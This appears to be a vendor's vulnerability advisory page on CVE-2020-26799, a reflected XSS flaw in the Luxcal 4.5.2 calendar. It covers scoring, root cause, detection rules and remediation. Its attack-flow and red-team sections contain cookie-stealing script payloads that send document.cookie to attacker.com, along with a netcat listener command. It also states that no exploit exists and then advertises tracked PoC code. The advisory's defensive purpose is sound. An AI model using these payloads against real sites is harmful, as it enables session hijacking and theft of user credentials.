CVE-2020-26799
Executive Summary
CVE-2020-26799 is a reflected cross-site scripting (XSS) vulnerability in Luxcal 4.5.2, an open-source calendar application. The flaw resides in index.php and allows an unauthenticated attacker to inject arbitrary JavaScript into the application’s response. When a victim clicks a crafted link, the injected script executes in their browser context, enabling theft of session cookies, credentials, or other sensitive data. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with an EPSS probability of 0.0% (low exploitation likelihood). No official patch has been released, and no public exploit code or Nuclei template is available. The attack vector is network-based, requires user interaction, and impacts confidentiality and integrity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network – exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – unauthenticated.
- User Interaction (UI): Required – victim must click a malicious link.
- Scope (S): Changed – injected script can affect other resources.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): None – no denial-of-service impact.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch and low EPSS score suggest limited active exploitation, but the risk remains for unpatched instances.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in Luxcal’s index.php script. The application fails to sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript in a query parameter (e.g., ?page=<script>alert(1)</script>). When the victim visits this URL, the server includes the unsanitized payload in the HTML output, causing the browser to execute the script.
Root Cause: Lack of output encoding or input validation for reflected parameters in index.php. The application likely uses $_GET or $_REQUEST directly without proper escaping.
Attack Flow:
- Attacker crafts a malicious URL:
http://target/luxcal/index.php?page=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Attacker distributes the link via phishing email, social media, or other channels.
- Victim clicks the link while authenticated to Luxcal.
- The injected script executes, sending the victim’s session cookie to the attacker’s server.
- Attacker uses the stolen cookie to hijack the session.
Vulnerable vs. Patched Code
Vulnerable Code (Luxcal 4.5.2):
// index.php (simplified)
$page = $_GET['page'];
echo "<div class='content'>$page</div>";
Patched Code (Hypothetical Fix):
// index.php (patched)
$page = htmlspecialchars($_GET['page'], ENT_QUOTES, 'UTF-8');
echo "<div class='content'>$page</div>";
The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection. Since no official patch exists, administrators must apply this or similar sanitization manually.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Environment:
- Target: Luxcal 4.5.2 running on Apache/PHP.
- Attacker: Kali Linux with browser and netcat.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
page,cat,id). - Craft a payload to steal cookies:
http://target/luxcal/index.php?page=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script> - Host a listener on attacker machine:
nc -lvnp 80 - Send the malicious link to the victim.
- Capture the cookie in the listener output.
Proof-of-Concept (No public exploit code available):
<!-- Simple XSS test -->
<a href="http://target/luxcal/index.php?page=<script>alert('XSS')</script>">Click me</a>
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for unusual query strings containing
<script>,onerror,javascript:, or base64-encoded payloads. - Use WAF rules to block reflected XSS patterns.
Defense:
- Apply input validation and output encoding (see Remediation).
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use HTTP-only cookies to prevent JavaScript access to session tokens.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
index.phpwith query parameters containing<script>,%3Cscript%3E, or similar encoded HTML tags. - Outbound connections from victim to attacker-controlled IPs on common ports (80, 443, 8080).
- HTTP requests to
- File IOCs:
- Modified
index.phpif attacker attempts persistent changes (unlikely for reflected XSS).
- Modified
- Log IOCs:
- Web server access logs showing
GET /luxcal/index.php?page=<script>...entries. - Browser console errors or CSP violation reports.
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2020_26799_XSS_Luxcal {
meta:
description = "Detects reflected XSS attempts against Luxcal 4.5.2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2020-26799"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$luxcal_path = /\/luxcal\/index\.php/i
condition:
$luxcal_path and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against Luxcal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Luxcal index.php with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- '%3Cscript%3E'
- 'onerror='
- 'javascript:'
cs-uri-stem|endswith: '/luxcal/index.php'
condition: selection
falsepositives:
- Legitimate use of HTML in query parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2020-26799 Luxcal Reflected XSS Attempt"; flow:to_server,established; content:"/luxcal/index.php"; http_uri; pcre:"/<script[^>]*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Sanitize all user-supplied input in
index.phpusinghtmlspecialchars()or a similar function. - Implement CSP: Add HTTP header
Content-Security-Policy: default-src 'self'; script-src 'self'to block inline scripts. - Use HTTP-Only Cookies: Set session cookies with
HttpOnlyandSecureflags to prevent JavaScript access. - Upgrade: Monitor Luxcal for an official patch. If none is released, consider migrating to an alternative calendar solution.
Long-Term Fix:
- Rewrite
index.phpto use a templating engine that auto-escapes output (e.g., Twig, Smarty). - Conduct a security audit of the entire application for similar flaws.
Workaround:
- Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.